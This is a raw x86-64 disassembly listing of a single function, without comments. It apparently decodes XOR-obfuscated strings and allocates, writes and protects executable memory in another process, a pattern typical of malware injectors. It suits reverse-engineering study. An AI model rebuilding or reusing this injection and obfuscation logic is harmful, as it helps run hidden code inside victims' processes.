mov rax, qword [rbp + 0x3418]
lea rcx, [rbp + 0xb8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x201
mov rcx, rax
call r10
mov dword [rbp + 0x3428], eax
cmp dword [rbp + 0x3428], 0
je 0x3a8d59761
lea rax, [rbp + 0x2fd0]
lea rdx, [rbp + 0x2fcf]
mov rcx, rax
call fcn.3a8d527fc
mov rax, qword [rbp + 0x2fd0]
mov rdx, qword [rbp + 0x2fd8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2fe0]
mov rdx, qword [rbp + 0x2fe8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2ff0]
mov rdx, qword [rbp + 0x2ff8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x3000]
mov rdx, qword [rbp + 0x3008]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x3010]
mov rdx, qword [rbp + 0x3018]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov eax, dword [rbp + 0x3020]
mov dword [rbp + 0x10], eax
mov edx, dword [rbp + 0x3428]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.3a8d702a0
lea rax, [rbp + 0x5f]
lea rdx, [rbp + 0x302e]
mov rcx, rax
call fcn.3a8d52aae
mov r8, qword [rbp + 0xb8]
lea rax, [rbp + 0x5f]
mov qword [rbp + 0x3318], rax
mov rax, qword [rbp + 0x3318]
movzx eax, byte [rax + 8]
test al, al
setne al
test al, al
je 0x3a8d59712
lea rax, [rbp + 0x5f]
lea rdx, [rbp + 0x5f]
mov qword [rbp + 0x3310], rdx
mov qword [rbp + 0x3308], rax
mov dword [rbp + 0x3304], 0
jmp 0x3a8d59708
mov eax, dword [rbp + 0x3304]
movsxd rdx, eax
mov rax, qword [rbp + 0x3308]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x3304]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x3310]
mov eax, dword [rbp + 0x3304]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x3304], 1
cmp dword [rbp + 0x3304], 8
jle 0x3a8d596a9
nop
lea rax, [rbp + 0x5f]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.3a8d51370
mov dword [rbp + 0x3300], 0
jmp 0x3a8d59748
mov eax, dword [rbp + 0x3300]
cdqe
mov byte [rbp + rax + 0x5f], 0
add dword [rbp + 0x3300], 1
cmp dword [rbp + 0x3300], 8
jle 0x3a8d59734
nop
mov ebx, 0
mov esi, 0
jmp 0x3a8d59f0c
lea rax, [rbp + 0x3030]
lea rdx, [rbp + 0x302f]
mov rcx, rax
call fcn.3a8d52b08
mov rax, qword [rbp + 0x3030]
mov rdx, qword [rbp + 0x3038]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x3040]
mov rdx, qword [rbp + 0x3048]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x3050]
mov rdx, qword [rbp + 0x3058]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x3060]
mov rdx, qword [rbp + 0x3068]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x306d]
mov rdx, qword [rbp + 0x3075]
mov qword [rbp - 3], rax
mov qword [rbp + 5], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.3a8d701d0
mov eax, dword [rbp + 0xfc]
mov dword [rbp + 0x33ec], eax
mov eax, dword [rbp + 0x33ec]
add eax, 0x28
mov dword [rbp + 0x33e8], eax
mov eax, dword [rbp + 0x33e8]
lea rdx, [rbp + 0xc0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x33e4], eax
mov rax, qword [rbp + 0x33f0]
mov qword [rbp + 0x33d8], rax
mov edx, dword [rbp + 0x33e4]
mov rax, qword [rbp + 0x33d8]
add rax, rdx
mov qword [rbp + 0x33d0], rax
mov rax, qword [rbp + 0x33d0]
mov qword [rbp + 0x98], rax
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0x307e]
mov rcx, rax
call fcn.3a8d52d82
mov r8, qword [rbp + 0x98]
lea rax, [rbp + 0x80]
mov qword [rbp + 0x32f8], rax
mov rax, qword [rbp + 0x32f8]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x3a8d5992b
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0x80]
mov qword [rbp + 0x32f0], rdx
mov qword [rbp + 0x32e8], rax
mov dword [rbp + 0x32e4], 0
jmp 0x3a8d59921
mov eax, dword [rbp + 0x32e4]
movsxd rdx, eax
mov rax, qword [rbp + 0x32e8]
add rax, rdx
movzx r9d, byte [rax]
mov eax, dword [rbp + 0x32e4]
movsxd rdx, eax
imul rdx, rdx, 0x5397829d
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x31
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x38
mov ecx, r9d
xor ecx, eax
mov rdx, qword [rbp + 0x32f0]
mov eax, dword [rbp + 0x32e4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x32e4], 1
cmp dword [rbp + 0x32e4], 0x13
jle 0x3a8d598c2
nop
lea rax, [rbp + 0x80]
mov rdx, rax
lea rax, str._s_p_n
mov rcx, rax
call fcn.3a8d51370
mov dword [rbp + 0x32e0], 0
jmp 0x3a8d59967
mov eax, dword [rbp + 0x32e0]
cdqe
mov byte [rbp + rax + 0x80], 0
add dword [rbp + 0x32e0], 1
cmp dword [rbp + 0x32e0], 0x13
jle 0x3a8d59950
nop
mov rax, qword [0x3a8ee4460]
mov qword [rbp + 0x68], rax
mov r10, qword [0x3a8f15038]
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0x98]
mov rax, qword [rbp + 0x3418]
lea rcx, [rbp + 0x7c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov rcx, rax
call r10
mov dword [rbp + 0x3428], eax
cmp dword [rbp + 0x3428], 0
je 0x3a8d59a57
lea rax, [rbp + 0x3080]
lea rdx, [rbp + 0x307f]
mov rcx, rax
call fcn.3a8d52e34
mov rax, qword [rbp + 0x3080]
mov rdx, qword [rbp + 0x3088]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x3090]
mov rdx, qword [rbp + 0x3098]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x30a0]
mov rdx, qword [rbp + 0x30a8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x30b0]
mov rdx, qword [rbp + 0x30b8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x30bd]
mov qword [rbp - 3], rax
mov edx, dword [rbp + 0x3428]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.3a8d6fdc0
mov ebx, 0
mov esi, 0
jmp 0x3a8d59f0c
lea rax, [rbp + 0x30d0]
lea rdx, [rbp + 0x30cf]
mov rcx, rax
call fcn.3a8d5306e
mov rax, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30d8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x30e0]
mov rdx, qword [rbp + 0x30e8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x30f0]
mov rdx, qword [rbp + 0x30f8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x3100]
mov rdx, qword [rbp + 0x3108]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x310f]
mov qword [rbp - 1], rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.3a8d6fe90
mov r10, qword [0x3a8f15030]
mov r9, qword [0x3a8ee4460]
mov r8, qword [0x3a8f15020]
mov rdx, qword [rbp + 0x98]
mov rax, qword [rbp + 0x3418]
lea rcx, [rbp + 0x70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x3428], eax
cmp dword [rbp + 0x3428], 0
je 0x3a8d59bc6
lea rax, [rbp + 0x3120]
lea rdx, [rbp + 0x311f]
mov rcx, rax
call fcn.3a8d532b8
mov rax, qword [rbp + 0x3120]
mov rdx, qword [rbp + 0x3128]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x3130]
mov rdx, qword [rbp + 0x3138]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x3140]
mov rdx, qword [rbp + 0x3148]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x3150]
mov rdx, qword [rbp + 0x3158]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x315b]
mov rdx, qword [rbp + 0x3163]
mov qword [rbp - 5], rax
mov qword [rbp + 3], rdx
mov edx, dword [rbp + 0x3428]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.3a8d70100
mov ebx, 0
mov esi, 0
jmp 0x3a8d59f0c
lea rax, [rbp + 0x3170]
lea rdx, [rbp + 0x316f]
mov rcx, rax
call fcn.3a8d53522
mov rax, qword [rbp + 0x3170]
mov rdx, qword [rbp + 0x3178]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x3180]
mov rdx, qword [rbp + 0x3188]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x3190]
mov rdx, qword [rbp + 0x3198]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x31a0]
mov rdx, qword [rbp + 0x31a8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x31ad]
mov rdx, qword [rbp + 0x31b5]
mov qword [rbp - 3], rax
mov qword [rbp + 5], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.3a8d701d0
mov r10, qword [0x3a8f15038]
mov r9d, dword [rbp + 0x7c]
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0x98]
mov rax, qword [rbp + 0x3418]
lea rcx, [rbp + 0x30c]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x3428], eax
cmp dword [rbp + 0x3428], 0
je 0x3a8d59d32
lea rax, [rbp + 0x31c0]
lea rdx, [rbp + 0x31bf]
mov rcx, rax
call fcn.3a8d5379c
mov rax, qword [rbp + 0x31c0]
mov rdx, qword [rbp + 0x31c8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x31d0]
mov rdx, qword [rbp + 0x31d8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x31e0]
mov rdx, qword [rbp + 0x31e8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x31f0]
mov rdx, qword [rbp + 0x31f8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x3200]
mov qword [rbp], rax
mov edx, dword [rbp + 0x3428]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.3a8d6ff60
mov ebx, 0
mov esi, 0
jmp 0x3a8d59f0c
lea rax, [rbp + 0x3210]
lea rdx, [rbp + 0x320f]
mov rcx, rax
call fcn.3a8d539ee
mov rax, qword [rbp + 0x3210]
mov rdx, qword [rbp + 0x3218]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x3220]
mov rdx, qword [rbp + 0x3228]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x3230]
mov rdx, qword [rbp + 0x3238]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x3240]
mov rdx, qword [rbp + 0x3248]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x324a]
mov rdx, qword [rbp + 0x3252]
mov qword [rbp - 6], rax
mov qword [rbp + 2], rdx
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.3a8d70030
mov r8, qword [0x3a8f15048]
lea rdx, [rbp + 0x30c]
mov rax, qword [rbp + 0x3410]
mov rcx, rax
call r8
mov dword [rbp + 0x3428], eax
cmp dword [rbp + 0x3428], 0
je 0x3a8d59e73
lea rax, [rbp + 0x3260]
lea rdx, [rbp + 0x325f]
mov rcx, rax
call fcn.3a8d53c50
mov rax, qword [rbp + 0x3260]
mov rdx, qword [rbp + 0x3268]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x3270]
mov rdx, qword [rbp + 0x3278]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x3280]
mov rdx, qword [rbp + 0x3288]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movzx eax, byte [rbp + 0x3290]
mov byte [rbp - 0x10], al
mov edx, dword [rbp + 0x3428]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.3a8d6f9b0
mov ebx, 0
mov esi, 0
jmp 0x3a8d59f0c
lea rax, [rbp + 0x32a0]
lea rdx, [rbp + 0x329f]
mov rcx, rax
call fcn.3a8d53dea
mov rax, qword [rbp + 0x32a0]
mov rdx, qword [rbp + 0x32a8]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x32b0]
mov rdx, qword [rbp + 0x32b8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x32c0]
mov rdx, qword [rbp + 0x32c8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movzx eax, byte [rbp + 0x32d0]
mov byte [rbp - 0x10], al
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.3a8d6f8e0
mov rdx, qword [0x3a8f15068]
mov rax, qword [rbp + 0x3418]
mov rcx, rax
call rdx
mov rdx, qword [0x3a8f15068]
mov rax, qword [rbp + 0x3410]
mov rcx, rax
call rdx
mov esi, 1
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8dfb390
cmp esi, 1
jne 0x3a8d59f25
mov ebx, 0
mov eax, ebx
jmp 0x3a8d5b846
add rsp, 0x35a0
pop rbx
pop rsi
pop rbp
ret